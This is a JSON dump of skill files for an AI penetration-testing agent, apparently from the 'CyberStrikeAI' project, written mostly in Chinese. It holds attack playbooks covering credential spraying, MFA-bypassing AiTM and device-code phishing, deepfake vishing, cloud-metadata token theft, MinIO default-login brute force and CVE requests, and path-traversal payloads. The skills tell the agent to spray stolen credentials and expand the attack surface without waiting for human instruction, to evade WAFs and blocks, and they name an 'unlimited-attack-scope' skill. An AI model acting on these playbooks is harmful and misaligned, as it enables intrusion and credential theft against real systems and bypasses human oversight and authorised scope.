403/429/超时/RST/WAF 拦/CDN 502/限流/空响应 → 禁止同条件重试 → 立即换路序列：SOCKS5 代理→换 UA→加 XFF→换协议(WS/DNS)→换端口→编码变异（完整代理获取/验证见 `proxy-tool-bootstrap`）→ 全换仍不通才写负结果 Fact（`confirmed` + body 写清已测条件）换面。\n3. **新认知→横向**：拿到凭据/域名/IP/路径 → 立即横向喷：凭据全服务复用 / 新域名全端口扫 / IP 反查同站 → 不等人指示自动扩展攻击面，并 `upsert_project_fact`（如 `auth/cred-*`、`target/related-*`）。有凭据不喷=遗漏。\n\n违反判定：不搜就说「无已知漏洞」=幻觉；被拦不换路=放弃；有凭据不喷=遗漏 → 均违反验证铁律。\n\n## 证据 / 战利品 / 改动\n\n| 原「磁盘」概念 | 本产品做法 |\n|----------------|------------|\n| evidence/ | Fact `body` + `record_vulnerability` 的证明字段 + 工具执行记录；大文件放会话/项目 workspace |\n| loot/ | 凭据特征写入 `auth/` Fact（注意脱敏与授权范围）；完整秘密按项目策略处理 |\n| changelog.md | 写入型改动在回复中台账化，并可 `note/change-*` Fact 记录主机/类型/位置/回滚命令 |\n\n## 与验证铁律的衔接\n\n详见 `pentest-verification`：搜索≠漏洞；无证据不写 `confirmed`；禁止空泛「可能/疑似」当结论；验证失败写负结果 Fact。\n","skills/initial-access-phishing/SKILL.md":"---\nname: initial-access-phishing\ndescription: >-\n  初始访问/钓鱼/社工:凭据喷洒,AiTM,设备码,OAuth同意钓鱼,载荷,vishing。Use when needing initial access, phishing, AiTM, device code, or social engineering.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 初始访问 / 钓鱼 / 社工\n\n```\n=== 初始访问/钓鱼/社工(外部进内部第一跳,打点前的打点) ===\n凭据喷洒: 弱密码(Season+Year!/公司名123)喷全体账号(每账号1-2次避锁定) | 来源:泄露库/OSINT邮箱格式(f.last@)/默认凭据\nAiTM钓鱼(绕MFA): evilginx3/Modlishka反代真站→中间人偷session cookie+token(绕MFA) | phishlet配域名+证书\n设备码钓鱼(Azure/M365): device code flow→诱导受害者输码→拿access/refresh token(无需密码/MFA) | TokenTactics/AADInternals\n钓鱼载荷: gophish发信+落地页 | 载荷 lnk/iso/宏/HTA/OneNote | 绕网关:密码zip/云盘链接/HTML走私\nOAuth同意钓鱼(illicit consent): 恶意App请求过度scope(Mail.Read/offline_access)→受害者同意→长期访问令牌\n社工前戏: OSINT组织架构/供应商/口令习惯(LinkedIn/招聘/GitHub) | pretext借口(IT支持/供应商/HR) | vishing(deepfake声音)\n→ 初始access落地即转 `redteam-opsec`(别一进门就被EDR抓), 拿到的能力进 `capability-primitive-search` 凑链\n```\n","skills/cyberstrike-eino-demo/SKILL.md":"---\nname: cyberstrike-eino-demo\ndescription: 满配示例技能包：SKILL.md + scripts/、references/、assets/ 等可选目录；验证 Eino skill 与 HTTP 包内路径（仅授权安全测试与教学）。\n---\n\n# CyberStrike × Eino 满配技能演示\n\n本包与 [Agent Skills](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) 一致：**`SKILL.md` 为清单 + 主说明**（无单独 `SKILL.yaml`）。同目录可有 **`scripts/`**、**`references/`**、**`assets/`** 等任意子目录（只要路径安全、未触达包深度/文件数上限），由 **`ListPackageFiles` / `resource_path`** 与 Eino 本机工具读取。补充说明见 `FORMS.md`、`REFERENCE.md`。\n\n## 概述\n\n用于一次性验证：\n\n- HTTP `GET /api/skills` 列表（`script_count`、`file_count`、`progressive` 等为推导/扫描结果）\n- `GET /api/skills/cyberstrike-eino-demo?depth=summary|full`\n- `section=` 对应 `SKILL.md` 中 **`##` 标题**或 ASCII 标题的短 id（例如 `## Payload 样例` 常对应 `section=payload`）\n- 多代理内 ADK **`skill`** 工具（及可选本机文件工具）读取包内相对路径资源\n- Eino `FilesystemSkillsRetriever` 对包摘要、`##` 分块、脚本条目的检索\n\n**硬性要求**：任何测试须取得书面授权，并限定在约定范围与时间窗口内。\n\n## 授权测试工作流\n\n1. **范围确认**：域名 / IP、接口列表、禁止动作（DoS、数据拖库等）。\n2. **基线记录**：对约定资产做只读探测，保存时间戳与原始请求/响应摘要。\n3. **分类测试**：按漏洞类型拆分任务；高风险操作前二次确认授权边界。\n4. **证据与报告**：每个发现附带复现步骤、影响、修复建议；敏感数据脱敏。\n5. **收尾**：删除临时账号、清理测试数据、移交报告。\n\n## Payload 样例\n\n以下为 **教学占位**，实际测试需替换为目标上下文且不得用于未授权系统：\n\n- SQLi 探测（错误型）：`\"'`（观察是否触发数据库错误信息泄露）\n- XSS 反射型（无害化）：`<script>alert(1)</script>` → 在靶场中应被编码或 CSP 拦截\n- 路径穿越（只读验证）：`....//....//etc/passwd`（仅在授权文件读取场景）\n\n详细列表见 `scripts/payloads.txt`。\n\n## references/ 与 assets/\n\n用于验证非 `scripts/` 的子目录是否被同等对待：\n\n| 路径 | 用途 |\n|------|------|\n| `references/citations.md` | 引用与 HTTP `resource_path` 测试说明 |\n| `assets/README.txt` | 占位资源（可换成真实二进制做读文件上限测试） |\n\n## 推荐工具链\n\n| 阶段 | 工具示例 |\n|------|-----------|\n| 代理与重放 | Burp Suite、mitmproxy |\n| 扫描与目录 | ffuf、nuclei（需调低并发遵守授权） |\n| 漏洞验证 | 自写 PoC、官方 CLI（sqlmap 等）仅在授权范围内 |\n| 记录 | Markdown + JSON 片段模板（见 `scripts/report-snippet.json`） |\n\n## 清单与验证\n\n- [ ] 已保存书面授权与测试窗口\n- [ ] `scripts/` 下文件与正文引用一致\n- [ ] Web 或 `GET /api/skills?...` 可核对索引；多代理会话内用 **`skill`** 工具按包加载以节省 token\n- [ ] 需要细节时通过 **`skill`** 拉全文，或 HTTP `depth=full`、`section=<标题或短 id>`\n- [ ] 需要脚本原文时通过本机文件工具或 HTTP `resource_path=scripts/check-env.sh`\n- [ ] `resource_path=references/citations.md` 与 `resource_path=assets/README.txt` 可读取\n","skills/capability-primitive-search/SKILL.md":"---\nname: capability-primitive-search\ndescription: >-\n  能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 能力原语 + 状态空间搜索\n\n```\n心法: RCE不是一个\"漏洞\",是一组\"能力\"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。\n  固有思维(要打破): \"扫不到RCE/反序列化/上传→这站打不动了\"。你的活不是\"找RCE漏洞\",是\"凑齐执行所需的原语\"。\n  把每个Fact抽象成能力原语(不记\"发现X漏洞\",记\"现在拥有什么能力+限制\"):\n    read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl\n\nRCE只需满足任意一条等式,拆成可获取的原语去凑:\n  A. 能写文件 + 文件被当代码执行                = RCE\n  B. 能控配置/env + 配置指向你的代码            = RCE\n  C. 能进管理面 + 面板自带执行功能              = RCE(不是漏洞,是功能!)\n  D. 有凭据 + 服务有合法执行入口                = RCE(滥用合法功能)\n  E. 能任意读 + 读到凭据 + 凭据可登录执行点      = RCE\n  F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE\n\n低危→原语映射(把\"鸡肋漏洞\"翻译成拼图碎片):\n  info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A\n  SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D\n  弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C\n  可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B\n  SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F\n\n状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。\n  正向: 对每个能力问\"能解锁什么?\"; 对每对能力问\"组合出什么?\"\n    (read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)\n  反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→\n    手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证\n\n突破口(看到别走开):\n  ·\"功能即原语\": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没\"功能/漏洞\"之分,只有\"能力\"。\n  ·跨协议跳跃: SSRF的gopher/dict/file把\"只能发HTTP\"变成\"打Redis/发SMTP/读文件\"。\n  ·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。\n  ·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。\n  ·时间维度: TOCTOU/token可预测/缓存投毒,把\"偶尔\"变\"稳定\",把不可利用变可利用。\n  ·跨域兑现: 每拿一个能力问\"它在别的域值多少钱\"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。\n  ·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列\"我以为不可能\"逐条问\"凭什么不可能\"\n> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。\n```\n\n","skills/component-vuln-intel/SKILL.md":"---\nname: component-vuln-intel\ndescription: >-\n  联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 联网情报收集（识别组件→立即全网搜；结果=线索/tentative，验证前不是 confirmed Fact）\n\n```\n🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。\n🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:\n\n1.CVE漏洞库(必做,找已知漏洞):\n  terminal: searchsploit {C} {V}\n  terminal: curl -s \"https://cve.circl.lu/api/search/{C}/{V}\" | python3 -c \"import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]\"\n  browser_navigate: https://github.com/advisories?query={C}+{V}\n  browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search\n\n2.搜索引擎(至少执行3个,找漏洞分析+PoC):\n  browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com\n  browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现\n  browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell\n  browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc\n  browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit\n\n3.中文安全社区(必做,中文首发多且深度分析好):\n  browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞\n  browser_navigate: https://www.seebug.org/search/?keywords={C}\n  browser_navigate: https://paper.seebug.org/search/?keyword={C}\n  browser_navigate: https://www.freebuf.com/search?search={C}+{V}\n  browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}\n  browser_navigate: https://www.anquanke.com/search?s={C}\n\n4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):\n  terminal: curl -s \"https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]\"\n  terminal: curl -s \"https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]\"\n  terminal: curl -s \"https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]\"\n  找到仓库后: curl -s \"https://api.github.com/repos/{owner}/{repo}/readme\" | python3 -c \"import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())\"\n\n5.资产引擎(找同类目标/暴露面):\n  browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app=\"{C}\"' | base64)\n  browser_navigate: https://www.shodan.io/search?query={C}+{V}\n  browser_navigate: https://www.zoomeye.org/searchResult?q={C}\n  browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}\n\n6.即时情报(最新0day/在野利用):\n  browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live\n  browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month\n  browser_navigate: https://www.exploit-db.com/search?q={C}\n\n7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6\n\n🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):\n  ①换UA: curl -H \"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\" \"{URL}\"\n  ②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}\n  ③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}\n  ④Archive: browser_navigate: https://web.archive.org/web/{URL}\n  ⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令\n  ⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing\n  ⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试\n  全部受阻仍无结果→写负Fact\"已搜{C} {V}全渠道无公开漏洞\"→转 `zero-day-discovery`\n```\n\n","skills/blockchain-contract-attack/SKILL.md":"---\nname: blockchain-contract-attack\ndescription: >-\n  区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 区块链 / 智能合约\n\n```\n=== 区块链/智能合约 ===\n源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore\n手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)\n  预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突\nDeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction\n```\n","skills/cloud-attack-methods/SKILL.md":"---\nname: cloud-attack-methods\ndescription: >-\n  云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 云攻击手法\n\n```\n=== 云 ===\n元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200\n对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin\n🚨云身份攻击(拿到key/token后的提权横向):\n  AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥\n  Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥\n  Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向\n  GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举\n🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS\n🚨MinIO攻击矩阵:\n  指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)\n  Console爆破: POST http://IP:9001/api/v1/login body={\"accessKey\":\"minioadmin\",\"secretKey\":\"minioadmin\"} | 403=\"invalid Login\"\n  STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置\n  CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)\n  CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)\n  匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁\n  上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)\n  扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行\n🚨阿里云FC函数(fcapp.run)枚举:\n  识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)\n  特征: POST返回\"unauthorized method 'POST'\"(405) = 只接受GET | 200+{\"code\":200,\"msg\":\"Forbidden\"} = 路径存在但缺参数\n  利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)\n  枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)\n  路径穿越: FC正确规范化(../无效),但可枚举不同function路径\n  CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露\"denied by req auth\"\n  FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)\n🚨橙子建站(ChengZi SDK)解密:\n  初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)\n  解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)\n  d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护\n  关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL\n```\n","skills/binary-mobile-reversing/SKILL.md":"# binary-mobile-reversing\n\nPath: `skills/binary-mobile-reversing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/binary-mobile-reversing/SKILL.md)","skills/attack-surface-recon/SKILL.md":"# attack-surface-recon\n\nPath: `skills/attack-surface-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/attack-surface-recon/SKILL.md)","skills/ai-llm-app-attack/SKILL.md":"# ai-llm-app-attack\n\nPath: `skills/ai-llm-app-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/ai-llm-app-attack/SKILL.md)","skills/active-directory-attack/SKILL.md":"# active-directory-attack\n\nPath: `skills/active-directory-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/active-directory-attack/SKILL.md)","skills/redteam-opsec/SKILL.md":"# redteam-opsec\n\nPath: `skills/redteam-opsec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/redteam-opsec/SKILL.md)","skills/source-code-hunting/SKILL.md":"# source-code-hunting\n\nPath: `skills/source-code-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/source-code-hunting/SKILL.md)","skills/specialized-attack-playbooks/SKILL.md":"# specialized-attack-playbooks\n\nPath: `skills/specialized-attack-playbooks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/specialized-attack-playbooks/SKILL.md)","skills/unlimited-attack-scope/SKILL.md":"# unlimited-attack-scope\n\nPath: `skills/unlimited-attack-scope/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/unlimited-attack-scope/SKILL.md)","skills/web-attack-methods/SKILL.md":"# web-attack-methods\n\nPath: `skills/web-attack-methods/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/web-attack-methods/SKILL.md)","skills/wireless-hardware-attack/SKILL.md":"# wireless-hardware-attack\n\nPath: `skills/wireless-hardware-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/wireless-hardware-attack/SKILL.md)","skills/zero-day-discovery/SKILL.md":"# zero-day-discovery\n\nPath: `skills/zero-day-discovery/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/zero-day-discovery/SKILL.md)","mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md":"# find-skills\n\nPath: `mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md)","agents/attack-surface-enumeration.md":"# Subagent: attack-surface-enumeration\n\nPath: `agents/attack-surface-enumeration.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/attack-surface-enumeration.md)","agents/cleanup-rollback.md":"# Subagent: cleanup-rollback\n\nPath: `agents/cleanup-rollback.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/cleanup-rollback.md)","agents/engagement-planning.md":"# Subagent: engagement-planning\n\nPath: `agents/engagement-planning.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/engagement-planning.md)","agents/impact-exfiltration.md":"# Subagent: impact-exfiltration\n\nPath: `agents/impact-exfiltration.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/impact-exfiltration.md)","agents/intel-collection.md":"# Subagent: intel-collection\n\nPath: `agents/intel-collection.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/intel-collection.md)","agents/lateral-movement.md":"# Subagent: lateral-movement\n\nPath: `agents/lateral-movement.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/lateral-movement.md)","agents/opsec-evasion.md":"# Subagent: opsec-evasion\n\nPath: `agents/opsec-evasion.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/opsec-evasion.md)","agents/orchestrator.md":"# Subagent: orchestrator\n\nPath: `agents/orchestrator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator.md)","agents/orchestrator-plan-execute.md":"# Subagent: orchestrator-plan-execute\n\nPath: `agents/orchestrator-plan-execute.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator-plan-execute.md)","agents/orchestrator-supervisor.md":"# Subagent: orchestrator-supervisor\n\nPath: `agents/orchestrator-supervisor.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator-supervisor.md)","agents/penetration.md":"# Subagent: penetration\n\nPath: `agents/penetration.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/penetration.md)","agents/persistence-maintenance.md":"# Subagent: persistence-maintenance\n\nPath: `agents/persistence-maintenance.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/persistence-maintenance.md)","agents/privilege-escalation.md":"# Subagent: privilege-escalation\n\nPath: `agents/privilege-escalation.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/privilege-escalation.md)","agents/recon.md":"# Subagent: recon\n\nPath: `agents/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/recon.md)","agents/reporting-remediation.md":"# Subagent: reporting-remediation\n\nPath: `agents/reporting-remediation.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/reporting-remediation.md)","agents/vulnerability-triage.md":"# Subagent: vulnerability-triage\n\nPath: `agents/vulnerability-triage.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/vulnerability-triage.md)","plugins/README.md":"# plugins Documentation\n\nPath: `plugins/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/README.md)","skills/README.md":"# Skills Skill\n\nPath: `skills/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/README.md)","tools/amass.yaml":"# Tools Skill\n\nPath: `tools/amass.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/amass.yaml)","tools/angr.yaml":"# Tools Skill\n\nPath: `tools/angr.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/angr.yaml)","tools/api-schema-analyzer.yaml":"# Tools Skill\n\nPath: `tools/api-schema-analyzer.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/api-schema-analyzer.yaml)","tools/arjun.yaml":"# Tools Skill\n\nPath: `tools/arjun.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/arjun.yaml)","tools/arp-scan.yaml":"# Tools Skill\n\nPath: `tools/arp-scan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/arp-scan.yaml)","tools/binwalk.yaml":"# Tools Skill\n\nPath: `tools/binwalk.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/binwalk.yaml)","tools/bloodhound.yaml":"# Tools Skill\n\nPath: `tools/bloodhound.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/bloodhound.yaml)","tools/checkov.yaml":"# Tools Skill\n\nPath: `tools/checkov.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/checkov.yaml)","tools/checksec.yaml":"# Tools Skill\n\nPath: `tools/checksec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/checksec.yaml)","tools/clair.yaml":"# Tools Skill\n\nPath: `tools/clair.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/clair.yaml)","tools/cloudmapper.yaml":"# Tools Skill\n\nPath: `tools/cloudmapper.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/cloudmapper.yaml)","tools/dalfox.yaml":"# Tools Skill\n\nPath: `tools/dalfox.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dalfox.yaml)","tools/dirsearch.yaml":"# Tools Skill\n\nPath: `tools/dirsearch.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dirsearch.yaml)","tools/dnsenum.yaml":"# Tools Skill\n\nPath: `tools/dnsenum.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dnsenum.yaml)","tools/dnslog.yaml":"# Tools Skill\n\nPath: `tools/dnslog.yaml`\n\n[View Raw Content on 